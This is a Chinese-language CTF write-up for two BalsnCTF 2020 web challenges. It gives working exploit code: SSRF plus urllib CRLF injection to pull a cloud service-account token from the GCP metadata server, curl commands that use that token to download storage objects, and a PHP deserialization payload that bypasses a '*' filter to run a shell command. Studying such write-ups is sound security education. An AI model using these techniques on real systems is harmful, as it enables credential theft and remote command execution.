2020 BalsnCTF web 部分题解

阅读量295797

|

发布时间 : 2020-11-25 15:30:23

 

题目文件:https://pan.baidu.com/s/1utpM99xbMNCX7m7J26WedQ
提取码:v7qg

tpc

http://35.194.175.80:8000/

题目说flag就在工作目录下并且不可以暴力猜解出文件名

试着file协议,发现可以任意文件读取,那么我们首先要做的是试着读取源文件

读取/proc/self/cmdline查看启动命令

/usr/local/bin/python /usr/local/bin/gunicorn main-dc1e2f5f7a4f359bb5ce1317a:app --bind 0.0.0.0:8000 --workers 5 --worker-tmp-dir /dev/shm --worker-class gevent --access-logfile - --error-logfile -

谷歌以下gunicorn的用法很容易知道源文件就是main-dc1e2f5f7a4f359bb5ce1317a.py

再读取/proc/self/environ查看环境变量

HOSTNAME=tpc-1PYTHON_PIP_VERSION=19.0.3SHLVL=1HOME=/home/ggGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.2PWD=/opt/workdir

于是就知道源文件在 /opt/workdir/main-dc1e2f5f7a4f359bb5ce1317a.py

import urllib.request

from flask import Flask, request

app = Flask(__name__)


@app.route("/query")
def query():
    site = request.args.get('site')
    text = urllib.request.urlopen(site).read()
    return text


@app.route("/")
def hello_world():
    return "/query?site=[your website]"


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=8000)

就提供了一个很简单的ssrf功能,那么为了找到下一步的思路,就必须收集更多信息,用字典fuzz一下得到以下关键信息

/proc/1/net/arp

172.17.0.4       0x1         0x0         00:00:00:00:00:00     *        docker0
172.17.0.3       0x1         0x0         00:00:00:00:00:00     *        docker0
172.17.0.2       0x1         0x2         02:42:ac:11:00:02     *        docker0
10.140.0.1       0x1         0x2         42:01:0a:8c:00:01     *        eth0

/etc/hosts

# /etc/hosts: Local Host Database
#
# This file describes a number of aliases-to-address mappings for the for 
# local hosts that share this file.
#
# In the presence of the domain name service or NIS, this file may not be 
# consulted at all; see /etc/host.conf for the resolution order.
#

# IPv4 and IPv6 localhost aliases
127.0.0.1    localhost
::1        localhost

#
# Imaginary network.
#10.0.0.2               myname
#10.0.0.3               myfriend
#
# According to RFC 1918, you can use the following IP networks for private 
# nets which will never be connected to the Internet:
#
#       10.0.0.0        -   10.255.255.255
#       172.16.0.0      -   172.31.255.255
#       192.168.0.0     -   192.168.255.255
#
# In case you want to be able to connect directly to the Internet (i.e. not 
# behind a NAT, ADSL router, etc...), you need real official assigned 
# numbers.  Do not try to invent your own network numbers but instead get one 
# from your network provider (if any) or from your regional registry (ARIN, 
# APNIC, LACNIC, RIPE NCC, or AfriNIC.)
#
169.254.169.254 metadata.google.internal metadata

hosts文件里面添加了一条特殊的记录,谷歌一下发现里面存放着实例的一些数据

直接访问metadata.google.internal,得到:

0.1/ computeMetadata/

继续访问下一级目录发现500了

阅读文档得知要加入Metadata-Flavor: Google请求头

python的urlllib库之前爆出存在着CRLF的漏洞,利用这个来绕过

"http://35.194.175.80:8000/query?site=http://metadata.google.internal/PATH/%20HTTP/1.1%0d%0aMetadata-Flavor:%20Google%0d%0apadding:"

写个脚本读取所有数据:

import requests

def req(parent,path):
    burp0_url = "http://35.194.175.80:8000/query?site=http://metadata.google.internal"+parent+path+"%20HTTP/1.1%0d%0aMetadata-Flavor:%20Google%0d%0apadding:"
    return requests.get(burp0_url)


def getInfo(parent,path):
    r = req(parent,path)
    if r.status_code == 500:
        return
    print(parent+path)
    print(r.text)
    print("----------------------------------------------------------------------")
    if not path.endswith("/"):
        return
    child = r.text.splitlines()
    parent=parent+path
    for i in child:

        getInfo(parent,i)

getInfo(parent="",path="/")

得到以下数据(只显示对题目有用的数据)

...
----------------------------------------------------------------------
/computeMetadata/v1/project/project-id
balsn-ctf-2020-tpc
------------------------------------------------------------------
/computeMetadata/v1/instance/service-accounts/default/token
{"access_token":"ya29.c.KpcB5QdRi_ofZUDT6YcnsZrXwex0ocEfddkf1cL9qgsBVUuJI6xm7X__zkSxCc4jbw35HGJ2ZSbVUQljIKqOWbe_-q33It_9ip0sO15lH8usKPuj1I-vg2BHQeyizyWloiDf2vlRbL0EiZNaiKa3_tGFFEbxt9JrmsfYxWoN3_VOn3cqTbjNyEdj3-Xr3oQUiD0ESz0H2NS4Lg","expires_in":3147,"token_type":"Bearer"}
----------------------------------------------------------------------
/computeMetadata/v1/instance/service-accounts/default/scopes
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
----------------------------------------------------------------------
...

阅读文档来了解下载存储在服务器上的数据

#查询存储分区:
curl -X GET -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
  "https://storage.googleapis.com/storage/v1/b?project=balsn-ctf-2020-tpc"

#查询存储对象
curl -X GET -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
  "https://www.googleapis.com/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o"

#下载对象:
curl -X GET -o "/tmp/obj1" -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
  "https://www.googleapis.com/download/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o/containers%2Fimages%2Fsha256:1c2e7c9e95b20a8dde6674890b722779c5a797d9d5968a9fa3a0ef89cd90f9b4?generation=1605158579380048&alt=media"

将所有对象下载下来后cat * | grep -a flag
获得flag路径:/opt/workdir/flag-6ba72dc9ffb518f5bcd92eee.txt

BALSN{What_permissions_does_the_service_account_need}

 

L5D

题目描述

「Taking L5D was a profound experience, one of the most important things in my life.」

Try this new Unserialize-Oriented Programming System a.k.a. L5D !

http://l5d.balsnctf.com:12345/index.php

PHP Version: 7.0.33

Author: kaibro

题目提供了源码,阅读后发现以下可能作为关键点的地方:

变量覆盖:

任意命令执行:

修改全局变量cmd

但是题目给反序列化的数据加上了一个限制:不能出现*(protect变量就需要*号)

实际测试一下发现,并不能用public,private的同名变量来代替protect变量,这是难点一

还有就是其他类的__wakeup方法会禁止我们通过L5D_Upload来任意变量覆盖,然后L5D_Upload又必须在其他的__destruct方法前执行,这是难点二

难点二我们可以通过最后一个调用L5D_Upload的__wakeup,第一个调用它的__destruct来绕过,因为__wakeup的调用顺序是从里到外,从前到后,__destruct的调用顺序是从外到内,从前到后,所以构造

class L5D_Upload{
    public $padding;
    public function __construct()
    {
        $this->padding = new L5D_ResetCMD();
    }

}
class L5D_ResetCMD {

    public $padding;
    protected $new_cmd = "cat /flag";
    public function __construct()
    {
        $this->padding=new L5D_Command();
    }

}
class L5D_Command{
}
new L5D_Upload();

接着就是难点一了,对*号的禁用导致我们不能直接反序列化一个protect属性的成员

但是我们可以用大写S来绕过:

可以利用大写S来绕过对protected,private等属性的字符检测如:

O:12:"L5D_ResetCMD":2:{s:7:"padding";O:11:"L5D_Command":0:{}S:10:"\00\2a\00new_cmd";s:9:"cat /flag";}

这样new_cmd就是protect属性了

最后的exp:

class L5D_Upload{
    public $padding;
    public function __construct()
    {
        $this->padding = new L5D_ResetCMD();
    }

}
class L5D_ResetCMD {

    public $padding;
    protected $new_cmd = "cat /flag";
    public function __construct()
    {
        $this->padding=new L5D_Command();
    }

}
class L5D_Command{
}
$a=str_replace('s:10:"'."\x00*\x00",'S:10:"\00\2a\00',serialize(new L5D_Upload()));
echo urlencode ($a);

 

总结

反序列化在禁止\x00和*时,我们可以利用大写S来绕过对protected,private等属性的字符检测如:

O:12:"L5D_ResetCMD":2:{s:7:"padding";O:11:"L5D_Command":0:{}S:10:"\00\2a\00new_cmd";s:9:"cat /flag";}

本文由ccreater原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/222675

安全客 - 有思想的安全新媒体

分享到:微信
+16赞
收藏
ccreater
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66